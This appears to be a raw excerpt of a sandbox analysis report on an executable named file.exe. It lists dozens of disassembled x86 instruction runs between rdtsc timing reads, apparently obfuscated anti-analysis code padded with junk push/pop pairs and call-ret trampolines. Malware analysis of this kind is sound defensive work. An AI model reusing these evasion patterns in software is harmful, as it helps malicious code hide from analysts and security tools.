Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7407 second address: 5E7412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD4D8B12EB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7412 second address: 5E7423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E7423 second address: 5E749C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ecx 0x0000000a call 00007FD4D8B12EB8h 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], ecx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ecx 0x0000001d push ecx 0x0000001e ret 0x0000001f pop ecx 0x00000020 ret 0x00000021 js 00007FD4D8B12EBCh 0x00000027 mov dword ptr [ebp+1245DCB8h], ecx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007FD4D8B12EB8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 add edi, 578CE4CBh 0x0000004f push 00000000h 0x00000051 mov dword ptr [ebp+122D1DDCh], esi 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FD4D8B12EC1h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E849D second address: 5E84A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E84A1 second address: 5E84AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E84AE second address: 5E84B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9571 second address: 5E9577 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDAE5 second address: 5DDAF1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDAF1 second address: 5DDAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA57E second address: 5EA588 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA588 second address: 5EA58E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA58E second address: 5EA59F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB5CF second address: 5EB5DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB5DE second address: 5EB5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8F455A6h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFC2 second address: 5DEFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB5FD second address: 5EB601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFC6 second address: 5DEFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFCA second address: 5DEFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB601 second address: 5EB62F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c cmc 0x0000000d push 00000000h 0x0000000f mov di, D5A0h 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D1E20h], ecx 0x0000001b xchg eax, esi 0x0000001c jmp 00007FD4D8B12EBCh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFD0 second address: 5DEFF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FD4D8F4559Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB62F second address: 5EB634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DEFF3 second address: 5DEFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EC5FA second address: 5EC5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E45DD second address: 5E45E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E45E1 second address: 5E45EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED7DB second address: 5ED7E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E45EA second address: 5E460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4D8B12EC8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E460C second address: 5E4610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5719 second address: 5E571D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E670B second address: 5E6710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6710 second address: 5E6716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6716 second address: 5E67A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a and edi, dword ptr [ebp+122D31ACh] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FD4D8F45598h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 sub ebx, dword ptr [ebp+122D2D00h] 0x00000037 push edx 0x00000038 mov di, 702Bh 0x0000003c pop edi 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 xor dword ptr [ebp+1244BDE6h], eax 0x0000004a mov eax, dword ptr [ebp+122D09A1h] 0x00000050 push 00000000h 0x00000052 push edi 0x00000053 call 00007FD4D8F45598h 0x00000058 pop edi 0x00000059 mov dword ptr [esp+04h], edi 0x0000005d add dword ptr [esp+04h], 00000018h 0x00000065 inc edi 0x00000066 push edi 0x00000067 ret 0x00000068 pop edi 0x00000069 ret 0x0000006a add dword ptr [ebp+122D1E97h], edi 0x00000070 push FFFFFFFFh 0x00000072 cmc 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 jng 00007FD4D8F4559Ch 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96E1 second address: 5E96E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E96E5 second address: 5E975B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4D8F45596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e sub di, 6D36h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FD4D8F45598h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000019h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D27DAh], eax 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov dword ptr [ebp+1244F1F0h], ecx 0x00000047 mov bx, cx 0x0000004a mov eax, dword ptr [ebp+122D0A9Dh] 0x00000050 mov bx, ax 0x00000053 push FFFFFFFFh 0x00000055 xor dword ptr [ebp+122D3061h], ecx 0x0000005b push eax 0x0000005c pushad 0x0000005d jmp 00007FD4D8F4559Eh 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E975B second address: 5E975F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED99F second address: 5ED9A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED9A5 second address: 5ED9B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEA0F second address: 5EEA26 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4D8F4559Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEA26 second address: 5EEA30 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4D8B12EBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEA30 second address: 5EEA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov dword ptr [ebp+12459D16h], eax 0x0000000d sub dword ptr [ebp+122D22A5h], ebx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a movzx edi, ax 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007FD4D8F45598h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 00000014h 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D289Ah], edx 0x00000044 mov eax, dword ptr [ebp+122D0BE1h] 0x0000004a mov dword ptr [ebp+1244EF47h], eax 0x00000050 push FFFFFFFFh 0x00000052 mov bx, 5700h 0x00000056 nop 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEA8E second address: 5EEA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4D8B12EBBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA082 second address: 5FA0A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FD4D8F45596h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA0A7 second address: 5FA0AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA0AB second address: 5FA0AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA0AF second address: 5FA0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4D8B12EC2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590DC8 second address: 590DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FD4D8F4559Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d jbe 00007FD4D8F45596h 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007FD4D8F45596h 0x0000001b jmp 00007FD4D8F455A8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590DFB second address: 590E2A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4D8B12EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD4D8B12EC6h 0x00000012 pushad 0x00000013 jo 00007FD4D8B12EB6h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6045C8 second address: 6045D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FD4D8F4559Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604B81 second address: 604BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD4D8B12EC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604BA0 second address: 604BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 604BA4 second address: 604BA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6050EF second address: 6050F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6050F5 second address: 605123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8B12EC7h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD4D8B12EC1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605123 second address: 60516D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A5h 0x00000007 jne 00007FD4D8F45596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push esi 0x00000013 jmp 00007FD4D8F4559Ah 0x00000018 jnl 00007FD4D8F45596h 0x0000001e pop esi 0x0000001f jmp 00007FD4D8F455A0h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 pop eax 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60516D second address: 605171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605410 second address: 605414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605414 second address: 605451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD4D8B12EBCh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 jno 00007FD4D8B12EB8h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007FD4D8B12EC7h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605451 second address: 60545E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FD4D8F4559Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60545E second address: 605462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6055BA second address: 6055E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F4559Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FD4D8F455A1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6055E2 second address: 605622 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FD4D8B12EC8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c pushad 0x0000000d jmp 00007FD4D8B12EC3h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD4D8B12EBBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B837 second address: 60B83E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B83E second address: 60B84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FD4D8B12EB6h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B84D second address: 60B851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AE7D second address: 60AE83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AE83 second address: 60AE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BD8A second address: 60BD8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BD8E second address: 60BD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FD4D8F45596h 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60C088 second address: 60C08E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611AAB second address: 611AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611AB1 second address: 611AE3 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD4D8B12EB8h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD4D8B12EBEh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jng 00007FD4D8B12ECEh 0x00000017 jmp 00007FD4D8B12EBAh 0x0000001c push eax 0x0000001d push edx 0x0000001e js 00007FD4D8B12EB6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614D3B second address: 614D50 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4D8F45596h 0x00000008 jg 00007FD4D8F45596h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614D50 second address: 614D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD4D8B12EBAh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614D61 second address: 614D71 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FD4D8F45596h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D402A second address: 5D402E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D402E second address: 5D4033 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4033 second address: 5D4039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D40C7 second address: 5D40CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D40CB second address: 5D4108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 528B486Ah 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FD4D8B12EB8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov dx, di 0x0000002b push CAA77D23h 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push edx 0x00000034 pop edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4108 second address: 5D412F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4D8F455A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD4D8F4559Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4264 second address: 5D4268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D44B9 second address: 5D44BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D44BD second address: 5D44F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov ecx, dword ptr [ebp+122D2D5Ch] 0x0000000e push 00000004h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FD4D8B12EB8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dx, A032h 0x0000002e nop 0x0000002f push eax 0x00000030 push edx 0x00000031 push edi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
